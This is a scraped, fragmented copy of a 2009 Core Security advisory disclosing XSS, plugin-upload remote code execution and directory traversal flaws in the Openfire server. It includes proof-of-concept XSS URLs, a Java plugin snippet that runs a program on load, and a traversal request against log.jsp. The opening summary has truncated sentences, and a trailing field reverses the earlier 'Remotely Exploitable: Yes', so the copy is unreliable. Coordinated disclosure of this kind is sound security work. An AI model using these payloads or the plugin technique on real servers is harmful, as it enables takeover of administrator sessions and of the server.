Title: Openfire multiple vulnerabilities Class: Cross site scripting (XSS)
Openfire is a real time collaboration (RTC) server licensed under the Open Source GPL.
A fixed version of Openfire is available through their community web site
These vulnerabilities were discovered and researched by Federico Muttis, from CORE
Multiple cross-site scripting vulnerabilities have been found in Openfire, which may lead to
Several cross site scripting (XSS) were detected that lead to cross site request forgery (XSRF), which enable
We identified insufficient sanitization of several parameters in several scripts.
Proof of Concept
[BID 32935] Insufficient sanitization in
[BID 32937] Insufficient sanitization in
[BID 32938] Insufficient sanitization in
[BID 32939] Insufficient sanitization in
[BID 32940] Insufficient sanitization in
Once the Openfire administrator's browser is executing arbitrary Javascript
In order to create a potentially malicious plugin that executes arbitrary Java code on the context of the server,
Then navigate to Openfire source
[BID 32943] The page
[BID 32944] The page These vulnerabilities can be used to ensure the persistence of any attack.
[BID 32945] Insufficient validation in
Proof of Concept:
The string CoreLabs, the research center of Core Security Technologies, is charged with anticipating Core Security Technologies develops strategic solutions that help security-conscious
The contents of this advisory are copyright (c) 2009 Core Security Technologies and
This advisory has been signed with the GPG key of Core Security Technologies advisories 1.
Advisory Information
Advisory ID: CORE-2008-1128
Advisory URL: http://www.coresecurity.com/content/openfire-multiple-vulnerabilities
Date published: 2009-01-08
Date of last update: 2009-01-07
Vendors contacted: Jive Software
Release mode: Coordinated release2.
Vulnerability Information
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32935, 32937, 32938, 32939, 32940, 32943, 32944, 32945
CVE Name: N/A3.
Vulnerability Description
It uses the widely adopted open protocol for instant messaging XMPP, also called Jabber.
Multiple cross-site scripting vulnerabilities have been found, which may lead to arbitrary remote code execution
on the server running the application due to unauthorized upload of Java plugin code.
4.
Vulnerable packages5.
Non-vulnerable packages6.
Vendor Information, Solutions and Workarounds
[1].
7.
Credits
IMPACT's Exploit Writing Team (EWT), Core Security Technologies.
8.
Technical Description / Proof of Concept Code
arbitrary remote code execution
on the server running Openfire server due to unauthorized upload of Java plugin code.
8.1.
Reflected XSS Vulnerabilities
arbitrary remote code execution on the server running the application.
These vulnerabilities are network exploitable but the victim
must voluntarily interact with the attack mechanism.
The victim must be an authorized user to deploy the complete attack.
In the case oflogviewer.jsp (BID 32935),group-summary.jsp (BID 32937),user-properties.jsp (BID 32938) andaudit-policy.jsp (BID 32939) there is no sanitization at all.
In log.jsp (BID 32940) there is a filter against <script>,
which is not enough, because several other XSS vectors exist, like the one we show below.
alert() exploits follow.
logviewer.jsp,
parameter log:
http://vulnsite.com/logviewer.jsp?clearLog=false&emailLog=false&lines=&l...(%27xss%27)%3C/script%3E%3C!--&markLog=false&mode=desc&refresh=&saveLog=false
group-summary.jsp,
parameter search:
http://vulnsite.com/group-summary.jsp?search=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E<!--
user-properties.jsp,
parameter username:
http://vulnsite.com/user-properties.jsp?username=%3Cscript%3Ealert(%27xss%27)%3C/script%3E
audit-policy.jsp,
the vulnerable parameters are:logDir, logTimeout, maxDays,maxFileSize and maxTotalSize.
http://vulnsite.com/audit-policy.jsp?maxTotalSize=%22%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E%3C!--&update=Save%20Settings
log.jsp, <script>
gets filtered out but vectors like <img>
still work:
http://vulnsite.com/log.jsp?log=%3Cimg%20src=%27%27%20onerror=%27javascr...(%22xss%22)%27%3E
8.2.
Arbitrary Remote Code Execution
and his/her session cookies have been stolen,
it is trivial to execute arbitrary code
as there is no need to re-authenticate to upload a new server plugin.
Secure web applications generally re-authenticate the administrator when performing such sensitive tasks.
In this case, however, you can simply upload a new plugin, without re-authentication,
with arbitrary Java code on the constructor. The constructor will be called when the plugin is uploaded.
you need to download the Openfire source
[2] and
the apache ant tool
[3].
Uncompress the Openfire source and install the ant tool. You can modify any existing plugin,
add this code and call it from the constructor:public void start() {
try {
Runtime.getRuntime().exec("C:\\WINDOWS\\system32\\calc.exe");
} catch (Exception ex) {
ex.printStackTrace();
}
}
build/ directory
and execute ant plugins,
this will build all the plugins. You'll end up
with a new file work/plugins/yourplugin.jar which is now infected.
8.3.
Stored XSS Vulnerabilitiesserver-properties.jsp displays the properties without sanitization,
an exploit triggered via a reflected
XSS vulnerability could add a new property with a name like"><script>alert(/xss/.source)</script>,
which will be triggered every time the administrator uses the server-properties.jsp
or security-audit-viewer.jsp.
muc-room-summary.jsp displays properties edited
in muc-room-edit-form.jsp, for example,
room name <script>alert('xss')</script>.
8.4.
Directory traversallog.jsp allows remote attackers
to read any .log file that the user running Openfire has access to.
The vulnerable code located in log.jsp is the following:File logDir = new File(Log.getLogDirectory());
String filename = (new StringBuilder()).append(log).append(".log").toString();
File logFile = new File(logDir, filename);
log.jsp?log=..\..\..\windows\debug\netsetup
.log will be appended to the filename,
so this attack only works to read .log files,
9.
Report Timeline
Core notifies the vendor that vulnerabilities were found and that an advisory draft is available. Publication scheduled for December 15th.
Vendor acknowledges and asks for a copy of the advisory's draft.
Core sends the vendor a copy of the advisory's draft.
Vendor acknowledges and requests to uphold the publication of the advisory until the end of January.
Core reschedules the publication for January 27th and requests a more precise estimate, when available.
Vendor acknowledges the new publication schedule for the advisory.
Core requests updated information on the patches.
Vendor informs that the vulnerabilities have been patched and that they are ready to release patches the following week.
Core insists that advisories are published simultaneously with the patched software releases.
Vendor asks if the advisory will include complete information on how to possibly exploit the bugs.
Core confirms the vendor that the advisory will include the complete analysis and all the information available to reproduce the bugs, giving the users the ability to assess the impact of the vulnerabilities.
Vendor suggests January 8th, 2009, as the coordinated release date and requests the future URL of the advisory.
Core says that January 8th, 2009, is an adequate date for advisory publication.
Core sends the vendor the URL where the advisory will be published.
Core requests the patched product version number and confirmation that patches will be published on January 8th 2009.
Vendor confirms publication date and patched version number.
Core publishes advisory CORE-2008-1128.10.
References
[1]
Openfire
http://www.igniterealtime.org/projects/openfire/
[2]
Openfire 3.6.2 source
http://www.igniterealtime.org/downloadServlet?filename=openfire/openfire_src_3_6_2.zip
[3]
Apache Ant
http://ant.apache.org/
11.
About CoreLabs
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://www.coresecurity.com/corelabs.
12.
About Core Security Technologies
organizations worldwide develop and maintain a proactive process for
securing their networks. The company's flagship product, CORE IMPACT, is
the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web
at http://www.coresecurity.com.
13.
Disclaimer
(c) 2009 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.
14.
PGP/GPG Keys
team, which is available for download at
/legacy/files/attachments/core_security_advisories.asc
Openfire multiple vulnerabilities
Openfire multiple vulnerabilities
Locally Exploitable:
no
Remotely Exploitable:
no
